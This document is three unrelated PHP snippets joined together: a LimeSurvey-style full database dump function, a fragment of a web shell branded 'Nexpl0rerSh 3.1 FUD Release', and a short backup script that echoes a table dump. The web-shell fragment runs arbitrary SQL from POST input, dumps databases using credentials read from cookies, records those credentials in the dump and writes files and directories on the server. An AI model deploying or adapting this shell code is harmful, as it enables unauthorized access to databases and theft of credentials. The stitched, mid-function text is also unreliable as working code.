/** * Creates a full dump of the current LimeSurvey database * * @returns string Contains the dumped data */ function completedump() { global $connect, $databasename, $dbprefix, $allowexportalldb; $tables = $connect->MetaTables(); $export = "#------------------------------------------" . "\n"; $export .= "# LimeSurvey Database Dump of `{$databasename}`" . "\n"; if ($allowexportalldb == 0) { $export .= "# Only prefixed tables with: " . $dbprefix . "\n"; } $export .= "# Date of Dump: " . date("d-M-Y") . "\n"; $export .= "#------------------------------------------" . "\n\n\n"; foreach ($tables as $table) { if ($allowexportalldb == 0) { if ($dbprefix == substr($table, 0, strlen($dbprefix))) { $export .= defdump($table); $export .= datadump($table); } } else { $export .= defdump($table); $export .= datadump($table); } } return $export; }
$output = "Executed query: {$query} <br /><br />"; mysql_query($query) or die("QUERY: " . $query . "<br /><br /> ERROR:" . mysql_error()); } // MySQL Dump if ($_POST['mode'] == "dump_db") { $dump = "# Dumped by Nexpl0rerSh 3.1 FUD Release \n"; $dump .= "# MySQL version: (" . @mysql_get_server_info() . ") running on " . getenv("SERVER_ADDR") . " (" . getenv("SERVER_NAME") . ") \n"; $dump .= "# Database: " . $_POST['dbname'] . "\n"; $dump .= "# " . $_COOKIE['mysql_user'] . ":" . $_COOKIE['mysql_pass'] . "@" . $_COOKIE['mysql_host'] . "\n"; $db = $_POST['dbname']; setcookie('mysql_name', $db); $link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass']) or die(mysql_error()); isset($_POST['dbname']) ? mysql_select_db($_POST['dbname']) : (print ""); $q = mysql_query("SHOW TABLES") or die(mysql_error()); while ($table = mysql_fetch_array($q)) { $dump .= datadump($table[0]); } $file_name = $db . "_dump_" . date("d_M_Y") . "_Nexpl0rer." . sql; chdir($dir); $fp = fopen($file_name, "w+"); fwrite($fp, $dump); fclose($fp); $output .= 'Dump saved in ' . $dir; } // MkDir if ($_POST['mode'] == "mkdir") { chdir($dir) or die("Error."); if (mkdir($_POST['mkdir'])) { $output = "Directory created."; } }
<?php include("../incs/database_backup_function.inc.php"); $content = datadump ("content"); $backup_content = $content; $file_name = 'backup_' . date("d-m-Y-H-i-s") . '.sql'; //Header("Content-type: application/octet-stream"); //Header("Content-Disposition: attachment; filename=$file_name"); echo $backup_content; exit; ?>